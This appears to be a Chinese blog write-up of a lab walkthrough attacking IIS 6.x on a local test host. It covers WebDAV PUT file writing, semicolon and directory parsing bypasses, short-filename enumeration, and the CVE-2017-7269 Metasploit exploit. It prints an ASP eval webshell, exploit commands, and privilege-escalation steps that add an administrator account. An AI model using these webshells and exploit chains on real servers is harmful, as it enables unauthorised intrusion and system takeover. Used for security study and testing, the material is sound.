中间件安全之IIS6.x渗透

中间件安全之IIS6.x渗透

一、IIS6安装

IIS6主机IP为192.168.112.143 (NAT模式)

1)安装应用程序组件

cLhg2V.png

2)导入IIS6安装插件

IIS6过于久远,安装时需要使用到插件,等待安装完成

注意:期间需要多次选择该文件夹下的文件,操作类似

cLhc80.png

3)打开IIS管理器

cLh6Cq.png

【创建、访问网站有些问题、后续补充】

4)创建网站文件,访问网站
写入如下内容用于测试

<!-- k.html -->
<center><h1>this is ASP  hello</center><h1><%eval request("xigua")%>

cLhfrF.png

二、IIS6.x漏洞原理和复现

1、写入漏洞

文件写入,getshell

0x01 概述

该漏洞的产生原因来源于服务器配置不当,服务器开启了WebDAV的组件导致的可以扫描到当前的操作,具体操作其实是通过WebDAVOPTION来查询是否支持PUT操作。

WebDAV是什么?作用?
WebDAV是一个存储服务,是一种通信协议,开启了WebDAV可以使应用程序对Web Server直接进行读写操作,还支持文件的版本控制

前提条件:

  1. IIS Server在Web服务扩展中开启了WebDAV
  2. 网站属性开启了写入权限
  3. 匿名用户配置了写入权限

IIS WebDAV相关参考:http://www.2cto.com/article/201307/228165.html

0x02 漏洞指纹

用put工具尝试

0x03 复现操作

1)设置WebDAV组件为允许状态

cLhXrD.png

2)开启网站写入属性

cLhOKO.png

3)开启匿名访问用户写入权限

cLhb26.png

cLh7P1.png

4)使用IIS PUT Scaner扫描目标网站是否允许PUT操作
填入相关信息,点击Scan,回显YES表示该网站允许PUT操作
cLhH8x.png

5)使用iiswriter写入文件
选择PUT操作,填写域名IP和请求文件等信息,提交数据包,回显如下表示写入成功

这里文件的内容:

<%eval request("xigua")%>

cLIV4s.png

可以看到上传文件成功

cLIENj.png

再通过MOVE操作将文件名改为shell.asp

改为shell.asp就可以直接连接,如果直接上传asp文件很大概率会报错

cL4UiR.png

cL43sU.png

6)网站访问该文件查看是否解析.asp

一般情况下网站会解析asp,但是由于这里是本地搭建,需要检查开启asp文件解析。在Web服务拓展中允许Active Server Page

cL4JZ4.png

访问页面,空白表示可以解析asp

cL48LF.png

7)使用菜刀进行连接

使用蚁剑连接不上,换了菜刀

填入相关信息

cL4YdJ.png

成功连上

cL4to9.png

0x04 参考

IIS写权限漏洞 (HTTP PUT方法利用)

2、文件解析漏洞

文件上传绕过

0x01 概述

文件解析漏洞源于IIS6Windows对同一文件名的不同解析。对于如下的文件名,Windows会解释成jpg文件,而IIS6会忽略分号;后面的字段,解析成asp文件。

1.asp;.jpg

0x02 复现操作

这里演示两个文件,文件内容如下

#1.asp
<%=time()%>

#1.asp;.jpg
<%=time()%>

结果均返回了时间

cL4cod.png

实际上,只要在文件后面加上;.aaa(这里aaa为任意字符)都可以

此外还有三种默认类型会被解析成asp,如下

.asa
.cer
.cdx

0x03 参考

https://www.cnblogs.com/hack747/p/12271048.html

http://www.2cto.com/article/201309/240797.html

https://www.cnblogs.com/milantgh/p/4347520.html

3、目录解析漏洞

文件上传绕过

前提:root目录下有/.asp的目录,一般不存在

默认会将根目录下的*.asp/目录下的文件当作asp文件解析

cL42FA.png

4、短文件名漏洞

目录爆破

0x01 概述

短文件名
是针对过长的文件名设计的,当文件名具有如下特征之一时,就拥有其短文件名

  • 文件或目录名的主体部分(点前面部分)大于8字节(八个字符,英文算一个,中文算两个)
  • 文件或目录扩展名(点后面部分)大于3个字节

cmd命令行中可以使用dir /x查看短文件名信息

cL4WWt.png

更多参考:
https://www.jb51.net/article/166405.htm
https://bwshen.blog.csdn.net/article/details/88031228

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息

0x02 漏洞指纹

直接用自动化工具跑吧

0x03 复现操作

Ⅰ. 手动操作

1)检测是否存在IIS短文件名漏洞

当访问某个存在的短文件名时,返回404

http://192.168.112.143/X*~1*/.aspx

cL4Teg.png

不存在则返回Bad Request

cL4RJI.png

Ⅱ. 自动化操作

2)脚本遍历短文件名

使用IIS-ShortName-Scanner工具进行目录爆破

下载地址:https://github.com/irsdl/IIS-ShortName-Scanner

工具所需环境:python2.7JAVA7

  1. 环境配置好后,打开run.bat

cL4hSP.png

  1. 设置目标网址URL

    http://192.168.112.143
    

cL5KTH.png

  1. 跑出结果

和上面的dir /x显示的信息可以看出,含有中文的短文件名跑不出来

cL5u0e.png

5、IIS6.x栈溢出漏洞(CVE-2017-7269)

0x01 概述

CVE-2017-7269IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行

利用条件:
需要目标机器上开启WebDAV

使用工具:

相关文章:

深入分析NSA用了5年的IIS漏洞 (seebug.org)
CVE-2017-7269 IIS6.0远程代码执行漏洞分析及Exploit (seebug.org)

0x02 复现操作

1)先装入msf脚本

CVE_2017_7269.rb文件复制到指定文件夹下

cL5nmD.png

2)启动msf,使用该脚本,设置信息,执行

use exploit/windows/iis/cve_2017_7269
show options
set rhosts 192.168.112.143
exploit

成功得到会话session

cL5eOO.png

【这里有可能执行不成功】

3)上传pr.exe脚本进行提权

默认得到的权限为nt authority etwork service,是个低权用户,使用pr.exe进行提权

这里在C盘提前创建了个x1gua文件夹

meterpreter > upload '/home/kali/Desktop/pr.exe' c:\x1gua
pr.exe "net user xigua 123456 /add"
pr.exe "net localgroup administrators xigua /add"

cL5kf1.png

cL5Vl6.png

cL5Z6K.png

这里看到已经成功创建xigua用户,并已加进Administrators权限组

4)使用wmiexec.exe进行连接

wmiexec.exe xigua:123456@192.168.112.143

cL5ESx.png

ps:工具上传、IIS6介绍、前记

6、工具下载

链接:https://pan.baidu.com/s/1CkAe1TebKLk6kzhRozxw4g
提取码:0cdf

原文地址:https://www.cnblogs.com/labster/p/14691138.html